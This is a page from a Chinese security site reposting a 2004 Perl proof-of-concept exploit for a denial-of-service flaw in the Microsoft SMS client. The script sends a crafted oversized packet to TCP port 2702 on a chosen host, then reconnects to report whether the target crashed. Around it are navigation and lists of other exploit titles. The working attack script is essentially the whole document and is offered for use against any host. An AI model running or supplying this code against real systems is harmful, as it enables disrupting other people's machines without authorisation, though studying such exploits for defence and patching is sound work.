首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Denial of Service in Microsoft SMS Client
来源:www.readyresponse.org 作者:wang 发布时间:2004-07-26  

Denial of Service in Microsoft SMS Client (Exploit)


#!/usr/bin/perl

#############################
#
# SMS DOS proof of concept and test code
# MacDefender / SRR project group of Ready Response wang@readyresponse.org
#
#############################

use Socket;
use IO::Socket;

if (@ARGV != 1)
{
print "usage: $0 <host or ip>\n";
exit;
}

$host = shift(@ARGV);

$hexmsg =
converthex("5243483016004000524348455858585858585858585858585858585858585
858585858585858585858585858585858585858585858585858585858585858585858585
858585858585858585858585858585858585858585858585858585858585858585858585
858585858585858585858585858585858585858585858585858585858585858585858585
858585858");

print "\nCreating socket for connection to: $host\n\n";

my $sock1 = IO::Socket::INET->new (PeerAddr => $host, PeerPort =>
"(2702)", Proto => "tcp") or die("Could not create socket: $!\n");

$sock1->autoflush(1);

print $sock1 "$hexmsg";

while (<$sock1>)
{
print;
}

print "\nPacket sent to $host (please wait) ...\n";

sleep(2);

print "Verifying status of $host ...\n";

sleep(2);

my $sock2 = IO::Socket::INET->new (PeerAddr => $host, PeerPort =>
'(2702)', Proto => 'tcp') or die("\nDOS was successful - $host is down
..\n");

print "\nAttempt was not successful. $host is still alive and responding
..\n";

close($sock1);
close($sock2);

#############################
# End main code, start subs
#############################

sub converthex
{
local ($l) = @_;
$l =~ s/([0-9a-f]{1,2})\s*/sprintf("%c",hex($1))/egi;

return $l;
}

#############################
# End code
#############################



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Mensajeitor Exploit
·ms04-022 exp for xp sp1
·NetSupport DNA HelpDesk SQL In
·Lexmark Network Printers Built
·Polar HelpDesk Remote Exploit
·JSP的WEBSHELL
·Internet Software Sciences's S
·WinXP Task Scheduler (.job) Un
·LBE Web HelpDesk SQL Injection
·SoX Local Buffer Overflow Expl
·Multiple Serena TeamTrack Expl
·Citadel/UX Remote DoS exploit
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved